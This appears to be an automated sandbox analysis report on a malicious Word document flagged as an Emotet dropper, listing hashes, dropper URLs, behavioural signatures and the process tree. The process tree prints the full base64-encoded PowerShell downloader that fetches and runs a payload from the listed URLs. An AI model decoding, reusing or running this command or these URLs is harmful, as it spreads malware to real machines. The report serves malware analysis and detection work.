Analysis
- max time kernel
144s - max time network
143s - platform
windows10_x64 - resource
win10v200722 - submitted
28/07/2020, 07:43
Static task
static1
Behavioral task
behavioral1
Sample
SRT_070120_YUZ_072820.doc
Resource
win7
0 signatures
0 seconds
General
- Target SRT_070120_YUZ_072820.doc
- Size 169KB
- Sample200728-spdx1kdcvj
- SHA256 fa0ce8c142463b37579d0d5a4fbb8da9dde5081ce2d5ffe0303872a533e7e190
- MD5 29828e466860a2972c4ce074d71348a0
- SHA1 815f96c75289ea3ec8862beaadc35a30d6551c03
- SHA512 d82916d1b026da8c4d49ea73262f6055a66ae716e6a71eb3a79d94c72416b0c367a502ea4a6452ba94ea05dad00c2f1787009da1dd647ffc70536e6c703e04d0
- MD5 SHA1 SHA512
Malware Config
Extracted
Language
-
ps1
Source
URLs
-
exe.dropper
http://yamnadlan.com/ynpw/xbmls_93_p7nihtnif9/
-
exe.dropper
https://xaviertapias.com/images/3z_f73rn_ay/
-
exe.dropper
http://www.tatweeralsham.com/cgi-bin/2_y_v7g/
-
exe.dropper
http://strike3productions.com/squad/f3_v_zmbt5xob7/
-
exe.dropper
http://taltus.co.uk/a_359_l/
Signatures
- Emotet Payload 2 IoCs
Detects Emotet payload in memory.
resource yara_rule behavioral2/memory/2168-9-0x00000000022B0000-0x00000000022BC000-memory.dmp emotet behavioral2/memory/4044-12-0x00000000006C0000-0x00000000006CC000-memory.dmp emotet - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE - Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\asycfilt\shutdown.exe 882.exe - Suspicious use of SetWindowsHookEx 14 IoCs
pid Process 532 WINWORD.EXE 532 WINWORD.EXE 532 WINWORD.EXE 532 WINWORD.EXE 532 WINWORD.EXE 532 WINWORD.EXE 532 WINWORD.EXE 532 WINWORD.EXE 532 WINWORD.EXE 532 WINWORD.EXE 2168 882.exe 2168 882.exe 4044 shutdown.exe 4044 shutdown.exe - Blacklisted process makes network request 1 IoCs
flow pid Process 17 4028 powersheLL.exe - Suspicious use of WriteProcessMemory 3 IoCs
description pid Process procid_target PID 2168 wrote to memory of 4044 2168 882.exe 78 PID 2168 wrote to memory of 4044 2168 882.exe 78 PID 2168 wrote to memory of 4044 2168 882.exe 78 - Suspicious behavior: EnumeratesProcesses 7 IoCs
pid Process 4028 powersheLL.exe 4028 powersheLL.exe 4028 powersheLL.exe 4044 shutdown.exe 4044 shutdown.exe 4044 shutdown.exe 4044 shutdown.exe - Executes dropped EXE 2 IoCs
pid Process 2168 882.exe 4044 shutdown.exe - Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE - Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 532 WINWORD.EXE 532 WINWORD.EXE - Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4028 756 powersheLL.exe 66 - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 4028 powersheLL.exe
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\SRT_070120_YUZ_072820.doc" /o ""1⤵
- Enumerates system info in registry
- Suspicious use of SetWindowsHookEx
- Checks processor information in registry
- Suspicious behavior: AddClipboardFormatListener
PID:532
-
C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exepowersheLL -e JAB2AGkAYQBtAGcAdQB1AGIAZgBlAG8AdABoAGMAaAB1AHYAPQAnAGwAZQBnAGYAbwB1AGgAegBlAG8AcwAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGUAQwBgAFUAYABSAEkAVABgAHkAcAByAG8AVABvAEMAYABvAGwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJAB5AGkAYQBmAGgAYQBpAHQAYwBoAHUAdQBzAGoAYQBjACAAPQAgACcAOAA4ADIAJwA7ACQAZwBlAGUAYgBxAHUAYQB1AHMAZwBlAG8AegB0AGUAYQBzAD0AJwBwAGEAZQBkAHgAZQBlAHIAYwBpAHoAJwA7ACQAYgBhAGkAaABtAG8AdQBrAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJAB5AGkAYQBmAGgAYQBpAHQAYwBoAHUAdQBzAGoAYQBjACsAJwAuAGUAeABlACcAOwAkAGMAbwBqAHoAYQBpAHMAbQBhAHUAcwBkAGEAYwBoAD0AJwBjAGEAbwB4AHAAbwBhAGwAJwA7ACQAbABpAGUAdgBqAGUAbwBkAGQAYQBtAD0ALgAoACcAbgBlAHcALQBvACcAKwAnAGIAJwArACcAagBlAGMAdAAnACkAIABOAGUAVAAuAFcAZQBiAGMAbABpAEUATgB0ADsAJABuAG8AaQB2AHcAdQB1AGcAdABhAHUAcwBoAG8AdQB4AD0AJwBoAHQAdABwADoALwAvAHkAYQBtAG4AYQBkAGwAYQBuAC4AYwBvAG0ALwB5AG4AcAB3AC8AeABiAG0AbABzAF8AOQAzAF8AcAA3AG4AaQBoAHQAbgBpAGYAOQAvACoAaAB0AHQAcABzADoALwAvAHgAYQB2AGkAZQByAHQAYQBwAGkAYQBzAC4AYwBvAG0ALwBpAG0AYQBnAGUAcwAvADMAegBfAGYANwAzAHIAbgBfAGEAeQAvACoAaAB0AHQAcAA6AC8ALwB3AHcAdwAuAHQAYQB0AHcAZQBlAHIAYQBsAHMAaABhAG0ALgBjAG8AbQAvAGMAZwBpAC0AYgBpAG4ALwAyAF8AeQBfAHYANwBnAC8AKgBoAHQAdABwADoALwAvAHMAdAByAGkAawBlADMAcAByAG8AZAB1AGMAdABpAG8AbgBzAC4AYwBvAG0ALwBzAHEAdQBhAGQALwBmADMAXwB2AF8AegBtAGIAdAA1AHgAbwBiADcALwAqAGgAdAB0AHAAOgAvAC8AdABhAGwAdAB1AHMALgBjAG8ALgB1AGsALwBhAF8AMwA1ADkAXwBsAC8AJwAuACIAcwBwAGAAbABJAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABtAGUAZQB0AGgAeABhAGUAYwBsAHUAdQB0AD0AJwBnAG8AdQBsAGsAYQBvAHEAdQB4AGUAbwB2ACcAOwBmAG8AcgBlAGEAYwBoACgAJABjAGgAYQBpAHAAbgB1AHAAIABpAG4AIAAkAG4AbwBpAHYAdwB1AHUAZwB0AGEAdQBzAGgAbwB1AHgAKQB7AHQAcgB5AHsAJABsAGkAZQB2AGoAZQBvAGQAZABhAG0ALgAiAEQAbwB3AGAATgBsAG8AYQBkAGAARgBgAEkAbABFACIAKAAkAGMAaABhAGkAcABuAHUAcAAsACAAJABiAGEAaQBoAG0AbwB1AGsAKQA7ACQAYwBpAGUAZgBkAGEAaQB0AGgAeQBhAGkAcwBiAGEAaQBjAGgAPQAnAGoAbwBtAHEAdQBlAHUAZABwAGEAdQBjACcAOwBJAGYAIAAoACgAJgAoACcARwBlAHQALQBJAHQAJwArACcAZQAnACsAJwBtACcAKQAgACQAYgBhAGkAaABtAG8AdQBrACkALgAiAEwAYABlAE4ARwB0AGgAIgAgAC0AZwBlACAAMwAzADAANAAxACkAIAB7ACgAWwB3AG0AaQBjAGwAYQBzAHMAXQAnAHcAaQBuADMAMgBfAFAAcgBvAGMAZQBzAHMAJwApAC4AIgBDAGAAUgBgAGUAYQBUAGUAIgAoACQAYgBhAGkAaABtAG8AdQBrACkAOwAkAG4AZQB1AHAAZwBlAGUAYgB6AGUAaQBuAD0AJwBqAG8AdQBjAGgAagBpAGEAdgB0AGUAdQBiAHMAZQBhAHAAJwA7AGIAcgBlAGEAawA7ACQAZABpAGoAeQB1AGEAZABwAGkAYQB0AHoAbwB1AGoAPQAnAGMAYQBnAGwAZQBpAHAAdABvAG8AbgAnAH0AfQBjAGEAdABjAGgAewB9AH0AJAB0AGgAZQBiAG4AbwBpAHkAPQAnAGgAYQBvAHEAdQB0AGEAawBxAHUAbwB1AHQAcgB1AGEAZgAnAA==1⤵
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Process spawned unexpected child process
- Suspicious use of AdjustPrivilegeToken
PID:4028
-
C:\Users\Admin\882.exeC:\Users\Admin\882.exe1⤵
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
- Executes dropped EXE
PID:2168 -
C:\Windows\SysWOW64\asycfilt\shutdown.exe"C:\Windows\SysWOW64\asycfilt\shutdown.exe"2⤵
- Suspicious use of SetWindowsHookEx
- Suspicious behavior: EnumeratesProcesses
- Executes dropped EXE
PID:4044
-